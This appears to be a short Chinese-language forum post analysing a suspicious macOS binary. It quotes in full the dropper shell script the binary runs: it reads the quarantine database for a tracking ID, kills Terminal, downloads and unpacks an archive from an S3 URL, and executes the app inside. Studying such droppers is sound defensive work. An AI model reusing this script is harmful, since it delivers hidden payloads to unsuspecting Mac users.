看了一眼,这个 binary 又执行了下面这个 shell 脚本:
```bash
temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; }
where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; }
extract_did() {
local -r url="$(where_from_url)"
local query="${url#*\?}"
local did_find=0
for param in ${query//[=&]/ }; do
((did_find == 1)) && echo "${param}" && break
[ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1
done
}
close_terminal() { killall "Terminal"; }
download() {
local -r url="${1}"
local -r tmp_dir="${2}"
local -r path="${tmp_dir}/$(uuidgen)"
if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi
}
unarchive() {
local -r tgz_path="${1}"
[ -z "${tgz_path}" ] && return
local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)")
if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi
rm -rf "${tgz_path}"
}
app_path() {
local -r app_dir="${1}"
[ -z "${app_dir}" ] && return
local -r app_paths=("${app_dir}"/?*.app)
local -r app_path="${app_paths[0]}"
[ -d "${app_path}" ] && echo "${app_path}"
}
bin_path() {
local -r app_path="${1}"
[ -z "${app_path}" ] && return
local -r binary_paths=("${app_path}/Contents/MacOS"/?*)
local -r binary_path="${binary_paths[0]}"
echo "${binary_path}"
}
exec_bin() {
local -r bin_path="${1}"
local -r did="${2}"
local -r app_path="${3}"
[ -z "${bin_path}" ] && return
"${bin_path}" -did "${did}"
}
main() {
local -r url="${1}"
close_terminal
local -r did="$(extract_did)"
[ -z "${did}" ] && return
local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")"
local -r arch_path="$(download "${url}" "${tmp_dir}")"
local -r app_dir="$(unarchive "${arch_path}")"
local -r app_path="$(app_path "${app_dir}")"
local -r bin_path="$(bin_path "${app_path}")"
exec_bin "${bin_path}" "${did}" "${app_path}"
rm -rf "${tmp_dir}"
}
main "
https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" &
```
会从
ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行